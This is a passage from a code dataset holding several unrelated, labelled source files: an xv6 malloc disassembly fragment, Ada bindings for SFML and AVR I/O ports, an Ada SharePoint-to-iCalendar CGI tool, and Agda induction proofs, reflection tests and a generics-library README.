0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 7c0: 39 cf cmp %ecx,%edi 7c2: 74 1c je 7e0 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 7c4: 29 f9 sub %edi,%ecx 7c6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7c9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7cc: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 7cf: 89 15 24 0b 00 00 mov %edx,0xb24 return (void*)(p + 1); 7d5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 7d8: 8d 65 f4 lea -0xc(%ebp),%esp 7db: 5b pop %ebx 7dc: 5e pop %esi 7dd: 5f pop %edi 7de: 5d pop %ebp 7df: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 7e0: 8b 08 mov (%eax),%ecx 7e2: 89 0a mov %ecx,(%edx) 7e4: eb e9 jmp 7cf <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7e6: c7 05 24 0b 00 00 28 movl $0xb28,0xb24 7ed: 0b 00 00 7f0: c7 05 28 0b 00 00 28 movl $0xb28,0xb28 7f7: 0b 00 00 base.s.size = 0; 7fa: b8 28 0b 00 00 mov $0xb28,%eax 7ff: c7 05 2c 0b 00 00 00 movl $0x0,0xb2c 806: 00 00 00 809: e9 3e ff ff ff jmp 74c <malloc+0x2c>
include/sf-graphics-image.ads
danva994/ASFML-1.6
1
30384
-- //////////////////////////////////////////////////////////// -- // -- // SFML - Simple and Fast Multimedia Library -- // Copyright (C) 2007-2009 <NAME> (<EMAIL>) -- // -- // This software is provided 'as-is', without any express or implied warranty. -- // In no event will the authors be held liable for any damages arising from the use of this software. -- // -- // Permission is granted to anyone to use this software for any purpose, -- // including commercial applications, and to alter it and redistribute it freely, -- // subject to the following restrictions: -- // -- // 1. The origin of this software must not be misrepresented; -- // you must not claim that you wrote the original software. -- // If you use this software in a product, an acknowledgment -- // in the product documentation would be appreciated but is not required. -- // -- // 2. Altered source versions must be plainly marked as such, -- // and must not be misrepresented as being the original software. -- // -- // 3. This notice may not be removed or altered from any source distribution. -- // -- //////////////////////////////////////////////////////////// -- //////////////////////////////////////////////////////////// -- // Headers -- //////////////////////////////////////////////////////////// with Sf.Config; with Sf.Graphics.Color; with Sf.Graphics.Rect; with Sf.Graphics.Types; package Sf.Graphics.Image is use Sf.Config; use Sf.Graphics.Color; use Sf.Graphics.Rect; use Sf.Graphics.Types; -- //////////////////////////////////////////////////////////// -- /// Create a new empty image -- /// -- /// \return A new sfImage object, or NULL if it failed -- /// -- //////////////////////////////////////////////////////////// function sfImage_Create return sfImage_Ptr; -- //////////////////////////////////////////////////////////// -- /// Create a new image filled with a color -- /// -- /// \param Width : Image width -- /// \param Height : Image height -- /// \param Col : Image color -- /// -- /// \return A new sfImage object, or NULL if it failed -- /// -- //////////////////////////////////////////////////////////// function sfImage_CreateFromColor (Width, Height : sfUint32; Color : sfColor) return sfImage_Ptr; -- //////////////////////////////////////////////////////////// -- /// Create a new image from an array of pixels in memory -- /// -- /// \param Width : Image width -- /// \param Height : Image height -- /// \param Data : Pointer to the pixels in memory (assumed format is RGBA) -- /// -- /// \return A new sfImage object, or NULL if it failed -- /// -- //////////////////////////////////////////////////////////// function sfImage_CreateFromPixels (Width, Height : sfUint32; Data : sfUint8_Ptr) return sfImage_Ptr; -- //////////////////////////////////////////////////////////// -- /// Create a new image from a file -- /// -- /// \param Filename : Path of the image file to load -- /// -- /// \return A new sfImage object, or NULL if it failed -- /// -- //////////////////////////////////////////////////////////// function sfImage_CreateFromFile (Filename : Standard.String) return sfImage_Ptr; -- //////////////////////////////////////////////////////////// -- /// Create a new image from a file in memory -- /// -- /// \param Data : Pointer to the file data in memory -- /// \param SizeInBytes : Size of the data to load, in bytes -- /// -- /// \return A new sfImage object, or NULL if it failed -- /// -- //////////////////////////////////////////////////////////// function sfImage_CreateFromMemory (Data : sfInt8_Ptr; SizeInBytes : sfSize_t) return sfImage_Ptr; -- //////////////////////////////////////////////////////////// -- /// Destroy an existing image -- /// -- /// \param Image : Image to delete -- /// -- //////////////////////////////////////////////////////////// procedure sfImage_Destroy (Image : sfImage_Ptr); -- //////////////////////////////////////////////////////////// -- /// Save the content of an image to a file -- /// -- /// \param Image : Image to save -- /// \param Filename : Path of the file to save (overwritten if already exist) -- /// -- /// \return sfTrue if saving was successful -- /// -- //////////////////////////////////////////////////////////// function sfImage_SaveToFile (Image : sfImage_Ptr; Filename : Standard.String) return sfBool; -- //////////////////////////////////////////////////////////// -- /// Create a transparency mask for an image from a specified colorkey -- /// -- /// \param Image : Image to modify -- /// \param ColorKey : Color to become transparent -- /// \param Alpha : Alpha value to use for transparent pixels -- /// -- //////////////////////////////////////////////////////////// procedure sfImage_CreateMaskFromColor (Image : sfImage_Ptr; ColorKey : sfColor; Alpha : sfUint8); -- //////////////////////////////////////////////////////////// -- /// Copy pixels from another image onto this one. -- /// This function does a slow pixel copy and should only -- /// be used at initialization time -- /// -- /// \param Image : Destination image -- /// \param Source : Source image to copy -- /// \param DestX : X coordinate of the destination position -- /// \param DestY : Y coordinate of the destination position -- /// \param SourceRect : Sub-rectangle of the source image to copy -- /// -- //////////////////////////////////////////////////////////// procedure sfImage_Copy (Image : sfImage_Ptr; Source : sfImage_Ptr; DestX, DestY : sfUint32; SourceRect : sfIntRect); -- //////////////////////////////////////////////////////////// -- /// Create the image from the current contents of the -- /// given window -- /// -- /// \param Image : Destination image -- /// \param Window : Window to capture -- /// \param SourceRect : Sub-rectangle of the screen to copy (empty by default - entire image) -- /// -- /// \return True if creation was successful -- /// -- //////////////////////////////////////////////////////////// function sfImage_CopyScreen (Image : sfImage_Ptr; Window : sfRenderWindow_Ptr; SourceRect : sfIntRect) return sfBool; -- //////////////////////////////////////////////////////////// -- /// Change the color of a pixel of an image -- /// Don't forget to call Update when you end modifying pixels -- /// -- /// \param Image : Image to modify -- /// \param X : X coordinate of pixel in the image -- /// \param Y : Y coordinate of pixel in the image -- /// \param Col : New color for pixel (X, Y) -- /// -- //////////////////////////////////////////////////////////// procedure sfImage_SetPixel (Image : sfImage_Ptr; X, Y : sfUint32; Color : sfColor); -- //////////////////////////////////////////////////////////// -- /// Get a pixel from an image -- /// -- /// \param Image : Image to read -- /// \param X : X coordinate of pixel in the image -- /// \param Y : Y coordinate of pixel in the image -- /// -- /// \return Color of pixel (x, y) -- /// -- //////////////////////////////////////////////////////////// function sfImage_GetPixel (Image : sfImage_Ptr; X, Y : sfUint32) return sfColor; -- //////////////////////////////////////////////////////////// -- /// Get a read-only pointer to the array of pixels of an image (8 bits integers RGBA) -- /// Array size is sfImage_GetWidth() x sfImage_GetHeight() x 4 -- /// This pointer becomes invalid if you reload or resize the image -- /// -- /// \param Image : Image to read -- /// -- /// \return Pointer to the array of pixels -- /// -- //////////////////////////////////////////////////////////// function sfImage_GetPixelsPtr (Image : sfImage_Ptr) return sfUint8_Ptr; -- //////////////////////////////////////////////////////////// -- /// Bind the image for rendering -- /// -- /// \param Image : Image to bind -- /// -- //////////////////////////////////////////////////////////// procedure sfImage_Bind (Image : sfImage_Ptr); -- //////////////////////////////////////////////////////////// -- /// Enable or disable image smooth filter -- /// -- /// \param Image : Image to modify -- /// \param Smooth : sfTrue to enable smoothing filter, false to disable it -- /// -- //////////////////////////////////////////////////////////// procedure sfImage_SetSmooth (Image : sfImage_Ptr; Smooth : sfBool); -- //////////////////////////////////////////////////////////// -- /// Return the width of the image -- /// -- /// \param Image : Image to read -- /// -- /// \return Width in pixels -- /// -- //////////////////////////////////////////////////////////// function sfImage_GetWidth (Image : sfImage_Ptr) return sfUint32; -- //////////////////////////////////////////////////////////// -- /// Return the height of the image -- /// -- /// \param Image : Image to read -- /// -- /// \return Height in pixels -- /// -- //////////////////////////////////////////////////////////// function sfImage_GetHeight (Image : sfImage_Ptr) return sfUint32; -- //////////////////////////////////////////////////////////// -- /// Tells whether the smoothing filter is enabled or not on an image -- /// -- /// \param Image : Image to read -- /// -- /// \return sfTrue if the smoothing filter is enabled -- /// -- //////////////////////////////////////////////////////////// function sfImage_IsSmooth (Image : sfImage_Ptr) return sfBool; private pragma Import (C, sfImage_Create, "sfImage_Create"); pragma Import (C, sfImage_CreateFromColor, "sfImage_CreateFromColor"); pragma Import (C, sfImage_CreateFromPixels, "sfImage_CreateFromPixels"); pragma Import (C, sfImage_CreateFromMemory, "sfImage_CreateFromMemory"); pragma Import (C, sfImage_Destroy, "sfImage_Destroy"); pragma Import (C, sfImage_CreateMaskFromColor, "sfImage_CreateMaskFromColor"); pragma Import (C, sfImage_Copy, "sfImage_Copy"); pragma Import (C, sfImage_CopyScreen, "sfImage_CopyScreen"); pragma Import (C, sfImage_SetPixel, "sfImage_SetPixel"); pragma Import (C, sfImage_GetPixel, "sfImage_GetPixel"); pragma Import (C, sfImage_GetPixelsPtr, "sfImage_GetPixelsPtr"); pragma Import (C, sfImage_Bind, "sfImage_Bind"); pragma Import (C, sfImage_SetSmooth, "sfImage_SetSmooth"); pragma Import (C, sfImage_GetWidth, "sfImage_GetWidth"); pragma Import (C, sfImage_GetHeight, "sfImage_GetHeight"); pragma Import (C, sfImage_IsSmooth, "sfImage_IsSmooth"); end Sf.Graphics.Image;
src/seminar-main.adb
aeszter/sharepoint2ics
0
9435
<filename>src/seminar-main.adb with Ada.Command_Line; with Ada.Text_IO; use Ada.Text_IO; with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; with Ada.Exceptions; use Ada.Exceptions; with Ada.Strings.Fixed; with POSIX; with DOM.Core; with DOM.Core.Documents; with DOM.Readers; with Sax.Readers; with CGI; with Convert; with Pipe_Streams; use Pipe_Streams; with Utils; procedure Seminar.Main is use Ada.Command_Line; procedure Append (Source : in out POSIX.POSIX_String_List; New_Item : String); procedure Append (Source : in out POSIX.POSIX_String_List; New_Item : Unbounded_String); Version : constant String := "v0.3"; Config_File : Ada.Text_IO.File_Type; Wget_Command : Pipe_Stream; Reader : DOM.Readers.Tree_Reader; Sharepoint_Reply : DOM.Core.Document; Wget_Path : Unbounded_String; User_Name, Password : Unbounded_String; URL, Request : Unbounded_String; Arguments : POSIX.POSIX_String_List; Config_Path : constant String := CGI.Get_Environment ("CONFIG_FILE"); Config_Error, Parser_Error : exception; procedure Append (Source : in out POSIX.POSIX_String_List; New_Item : String) is use POSIX; begin Append (Source, To_POSIX_String (New_Item)); end Append; procedure Append (Source : in out POSIX.POSIX_String_List; New_Item : Unbounded_String) is use POSIX; begin Append (Source, To_POSIX_String (To_String (New_Item))); end Append; -- AWS does not support NTLM, so we rely on wget to perform the actual SOAP call; -- begin if Argument_Count = 0 and then Config_Path /= "" then -- read config: Open (Config_File, In_File, Config_Path); while not Ada.Text_IO.End_Of_File (Config_File) loop declare use Ada.Strings; use Ada.Strings.Fixed; Config_Line : constant String := Get_Line (Config_File); Separator : constant Natural := Index (Source => Config_Line, Pattern => "="); Name : constant String := Trim (Config_Line (1 .. Separator - 1), Right); Value : constant String := Trim (Config_Line (Separator + 1 .. Config_Line'Last), Left); begin if Name = "" then null; -- empty line elsif Name (1) = '#' then null; -- comment elsif Name = "wget" then Wget_Path := To_Unbounded_String (Value); elsif Name = "username" then User_Name := To_Unbounded_String (Value); elsif Name = "password" then Password := To_Unbounded_String (Value); elsif Name = "url" then URL := To_Unbounded_String (Value); elsif Name = "request" then Request := To_Unbounded_String (Value); elsif Name = "timezone" then Utils.Timezone := To_Unbounded_String (Value); else raise Config_Error with "Unknown name """ & Name & """"; end if; end; end loop; Ada.Text_IO.Close (Config_File); -- call wget: Wget_Command.Set_Public_Id (To_String (Wget_Path)); Append (Arguments, Wget_Path); Append (Arguments, "--user=" & User_Name); Append (Arguments, "--password=" & Password); Append (Arguments, "--post-file=" & Request); Append (Arguments, "--header=Content-Type: text/xml;charset=UTF-8"); Append (Arguments, "--header=SOAPAction: ""http://schemas.microsoft.com/sharepoint/soap/GetListItems"""); Append (Arguments, URL); Append (Arguments, "-O-"); Wget_Command.Execute (Command => To_String (Wget_Path), Arguments => Arguments); Reader.Set_Feature (Sax.Readers.Validation_Feature, False); Reader.Set_Feature (Sax.Readers.Namespace_Feature, False); Reader.Parse (Wget_Command); Wget_Command.Close; Sharepoint_Reply := Reader.Get_Tree; CGI.Put_CGI_Header ("Content-type: text/calendar"); Convert (DOM.Core.Documents.Get_Elements_By_Tag_Name ( Sharepoint_Reply, "rs:data"), Ada.Text_IO.Standard_Output); DOM.Readers.Free (Reader); else Ada.Text_IO.Put_Line ("sharepoint2ics " & Version & " config_file"); Ada.Text_IO.Put_Line ("Usage: " & Command_Name); Ada.Text_IO.Put_Line (" config is read from the file at $CONFIG_FILE "); end if; exception when Pipe_Streams.Failed_Creation_Error => raise Parser_Error with "Failed to spawn """ & To_String (Wget_Path); when Pipe_Streams.Exception_Error => raise Parser_Error with """" & To_String (Wget_Path) & """ terminated because of an unhandled exception"; when E : Sax.Readers.XML_Fatal_Error => raise Parser_Error with "Fatal XML error: " & Exception_Message (E); when E : others => raise Parser_Error with "Error when calling " & To_String (Wget_Path) & ": " & Exception_Message (E); end Seminar.Main;
project/src/avr-io_ports.ads
pvrego/adaino
8
13537
with System; -- ============================================================================= -- Package AVR.IO_PORTS -- -- Handles the Pin/DDR/Port I/Os. -- ============================================================================= package AVR.IO_PORTS is type Data_Pin_Type is record PIN : Bit_Array_Type (0 .. 7); -- Port Input Pin DDR : Bit_Array_Type (0 .. 7); -- Data Direction Register PORT : Bit_Array_Type (0 .. 7); -- Port Data Register end record; for Data_Pin_Type'Size use 3 * BYTE_SIZE; #if MCU="ATMEGA2560" then Reg_A : Data_Pin_Type; for Reg_A'Address use System'To_Address (16#20#); #end if; Reg_B : Data_Pin_Type; for Reg_B'Address use System'To_Address (16#23#); Reg_C : Data_Pin_Type; for Reg_C'Address use System'To_Address (16#26#); Reg_D : Data_Pin_Type; for Reg_D'Address use System'To_Address (16#29#); #if MCU="ATMEGA2560" then Reg_E : Data_Pin_Type; for Reg_E'Address use System'To_Address (16#2C#); Reg_F : Data_Pin_Type; for Reg_F'Address use System'To_Address (16#2F#); Reg_G : Data_Pin_Type; for Reg_G'Address use System'To_Address (16#32#); Reg_H : Data_Pin_Type; for Reg_H'Address use System'To_Address (16#100#); Reg_J : Data_Pin_Type; for Reg_J'Address use System'To_Address (16#103#); Reg_K : Data_Pin_Type; for Reg_K'Address use System'To_Address (16#106#); Reg_L : Data_Pin_Type; for Reg_L'Address use System'To_Address (16#109#); #end if; end AVR.IO_PORTS;
part1/Induction.agda
vyorkin/plfa
0
5417
<reponame>vyorkin/plfa<gh_stars>0 module plfa.part1.Induction where import Relation.Binary.PropositionalEquality as Eq open Eq using (_≡_; refl; cong; sym) open Eq.≡-Reasoning open import Data.Nat using (ℕ; zero; suc; _+_; _*_; _∸_) +-assoc : ∀ (m n p : ℕ) → (m + n) + p ≡ m + (n + p) +-assoc zero n p = begin (zero + n) + p ≡⟨⟩ n + p ≡⟨⟩ zero + (n + p) ∎ +-assoc (suc m) n p = begin (suc m + n) + p ≡⟨⟩ suc (m + n) + p ≡⟨⟩ suc ((m + n) + p) -- A relation is said to be a congruence for -- a given function if it is preserved by applying that function -- If e is evidence that x ≡ y, -- then cong f e is evidence that f x ≡ f y, -- for any function f -- The correspondence between proof by induction and -- definition by recursion is one of the most appealing -- aspects of Agda -- cong : ∀ (f : A → B) {x y} → x ≡ y → f x ≡ f y -- ^- suc ^- (m + n) + p ≡ m + (n + p) -- ----------------------------------------------------------- (=> implies) -- suc ((m + n) + p) ≡ suc (m + (n + p)) ≡⟨ cong suc (+-assoc m n p) ⟩ suc (m + (n + p)) -- cong : ∀ (f : A → B) {x y} → x ≡ y → f x ≡ f y -- cong f refl = refl ≡⟨⟩ suc m + (n + p) ∎ +-assoc-2 : ∀ (n p : ℕ) → (2 + n) + p ≡ 2 + (n + p) +-assoc-2 n p = begin (2 + n) + p ≡⟨⟩ suc (1 + n) + p ≡⟨⟩ suc ((1 + n) + p) ≡⟨ cong suc (+-assoc-1 n p) ⟩ suc (1 + (n + p)) ≡⟨⟩ 2 + (n + p) ∎ where +-assoc-1 : ∀ (n p : ℕ) -> (1 + n) + p ≡ 1 + (n + p) +-assoc-1 n p = begin (1 + n) + p ≡⟨⟩ suc (0 + n) + p ≡⟨⟩ suc ((0 + n) + p) ≡⟨ cong suc (+-assoc-0 n p) ⟩ suc (0 + (n + p)) ≡⟨⟩ 1 + (n + p) ∎ where +-assoc-0 : ∀ (n p : ℕ) → (0 + n) + p ≡ 0 + (n + p) +-assoc-0 n p = begin (0 + n) + p ≡⟨⟩ n + p ≡⟨⟩ 0 + (n + p) ∎ +-identityᴿ : ∀ (m : ℕ) → m + zero ≡ m +-identityᴿ zero = begin zero + zero ≡⟨⟩ zero ∎ +-identityᴿ (suc m) = begin suc m + zero ≡⟨⟩ suc (m + zero) ≡⟨ cong suc (+-identityᴿ m) ⟩ suc m ∎ +-suc : ∀ (m n : ℕ) → m + suc n ≡ suc (m + n) +-suc zero n = begin zero + suc n ≡⟨⟩ suc n ≡⟨⟩ suc (zero + n) ∎ +-suc (suc m) n = begin suc m + suc n ≡⟨⟩ suc (m + suc n) ≡⟨ cong suc (+-suc m n) ⟩ suc (suc (m + n)) ≡⟨⟩ suc (suc m + n) ∎ +-comm : ∀ (m n : ℕ) → m + n ≡ n + m +-comm m zero = begin m + zero ≡⟨ +-identityᴿ m ⟩ m ≡⟨⟩ zero + m ∎ +-comm m (suc n) = begin m + suc n ≡⟨ +-suc m n ⟩ suc (m + n) ≡⟨ cong suc (+-comm m n) ⟩ suc (n + m) ≡⟨⟩ suc n + m ∎ -- Rearranging -- We can apply associativity to -- rearrange parentheses however we like +-rearrange : ∀ (m n p q : ℕ) → (m + n) + (p + q) ≡ m + (n + p) + q +-rearrange m n p q = begin (m + n) + (p + q) ≡⟨ +-assoc m n (p + q) ⟩ m + (n + (p + q)) ≡⟨ cong (m +_) (sym (+-assoc n p q)) ⟩ m + ((n + p) + q) -- +-assoc : (m + n) + p ≡ m + (n + p) -- sym (+-assoc) : m + (n + p) ≡ (m + n) + p ≡⟨ sym (+-assoc m (n + p) q) ⟩ (m + (n + p)) + q ∎ -- Associativity with rewrite -- Rewriting avoids not only chains of -- equations but also the need to invoke cong +-assoc' : ∀ (m n p : ℕ) → (m + n) + p ≡ m + (n + p) +-assoc' zero n p = refl +-assoc' (suc m) n p rewrite +-assoc' m n p = refl +-identity' : ∀ (n : ℕ) → n + zero ≡ n +-identity' zero = refl +-identity' (suc n) rewrite +-identity' n = refl +-suc' : ∀ (m n : ℕ) → m + suc n ≡ suc (m + n) +-suc' zero n = refl +-suc' (suc m) n rewrite +-suc' m n = refl +-comm' : ∀ (m n : ℕ) → m + n ≡ n + m +-comm' m zero rewrite +-identity' m = refl +-comm' m (suc n) rewrite +-suc' m n | +-comm' m n = refl -- Building proofs interactively +-assoc'' : ∀ (m n p : ℕ) → (m + n) + p ≡ m + (n + p) +-assoc'' zero n p = refl +-assoc'' (suc m) n p rewrite +-assoc'' m n p = refl -- Exercise -- Note: -- sym -- rewrites the left side of the Goal +-swap : ∀ (m n p : ℕ) → m + (n + p) ≡ n + (m + p) +-swap zero n p = refl +-swap (suc m) n p rewrite +-assoc'' m n p | +-suc n (m + p) | +-swap m n p = refl -- (suc m + n) * p ≡ suc m * p + n * p -- p + (m * p + n * p) ≡ p + m * p + n * p *-distrib-+ : ∀ (m n p : ℕ) → (m + n) * p ≡ m * p + n * p *-distrib-+ zero n p = refl *-distrib-+ (suc m) n p rewrite *-distrib-+ m n p | sym (+-assoc p (m * p) (n * p)) = refl -- (n + m * n) * p ≡ n * p + m * (n * p) *-assoc : ∀ (m n p : ℕ) → (m * n) * p ≡ m * (n * p) *-assoc zero n p = refl *-assoc (suc m) n p rewrite *-distrib-+ n (m * n) p | *-assoc m n p = refl
test/Succeed/QuoteTC.agda
cruhland/agda
1,989
589
-- Test unquoteTC and quoteTC primitives. module _ where open import Common.Prelude hiding (_>>=_) open import Common.Reflection open import Common.Equality open import Common.Product sum : List Nat → Nat sum [] = 0 sum (x ∷ xs) = x + sum xs pattern `Bool = def (quote Bool) [] pattern `true = con (quote true) [] pattern `false = con (quote false) [] infix 2 case_of_ case_of_ : ∀ {a b} {A : Set a} {B : Set b} → A → (A → B) → B case x of f = f x macro ` : Term → Tactic ` v hole = bindTC (quoteTC v) λ e → unify hole e ~ : Term → Tactic ~ e hole = bindTC (unquoteTC e) λ v → unify hole v msum : Term → Tactic msum e hole = bindTC (unquoteTC e) λ xs → unify hole (lit (nat (sum xs))) test₁ : Term test₁ = ` (1 ∷ 2 ∷ 3 ∷ []) test₂ : ~ test₁ ≡ (1 ∷ 2 ∷ 3 ∷ []) test₂ = refl test₃ : msum (1 ∷ 2 ∷ 3 ∷ []) ≡ 6 test₃ = refl macro simp : Term → Tactic simp (def f (vArg x ∷ [])) hole = checkType (def f []) (pi (vArg `Bool) (abs "_" `Bool)) >>= λ _ → unquoteTC (def f (vArg `true ∷ [])) >>= λ (t : Bool) → unquoteTC (def f (vArg `false ∷ [])) >>= λ (f : Bool) → unify hole (case (t , f) of λ { (true , true) → `true ; (false , false) → `false ; (true , false) → x ; (false , true) → def (quote not) (vArg x ∷ []) }) simp v _ = typeError (strErr "Can't simplify" ∷ termErr v ∷ []) f₁ f₂ f₃ f₄ : Bool → Bool f₁ false = false f₁ true = false f₂ false = false f₂ true = true f₃ false = true f₃ true = false f₄ false = true f₄ true = true test-f₁ : ∀ b → simp (f₁ b) ≡ false test-f₁ b = refl test-f₂ : ∀ b → simp (f₂ b) ≡ b test-f₂ b = refl test-f₃ : ∀ b → simp (f₃ b) ≡ not b test-f₃ b = refl test-f₄ : ∀ b → simp (f₄ b) ≡ true test-f₄ b = refl
README.agda
flupe/generics
11
10913
<filename>README.agda module README where ------------------------------------------------------------------------ -- Core definitions ------------------------------------------------------------------------ import Generics.Prelude -- Generics.Telescope introduces an encoding for telescopes, -- along with functions to manipulate indexed functions and families. import Generics.Telescope -- Generics.Desc introduces the core universe of descriptions for datatypes. import Generics.Desc -- Generics.HasDesc defines the HasDesc record, -- bridging the gap between descriptions of datatypes -- and their concrete Agda counterpart. import Generics.HasDesc -- Generics.Reflection implements the deriveDesc macro -- to automatically derive an instance of HasDesc for most datatypes. import Generics.Reflection ------------------------------------------------------------------------ -- Generic constructions ------------------------------------------------------------------------ -- Generic show implemetation import Generics.Constructions.Show -- Datatype-generic case analysis principle import Generics.Constructions.Case -- Datatype-generic decidable equality import Generics.Constructions.DecEq -- Datatype-generic induction principle, -- on described datatypes only import Generics.Constructions.Induction -- Datatype-generic elimination principle import Generics.Constructions.Elim -- WIP Datatype-generic injectivity of constructors import Generics.Constructions.NoConfusion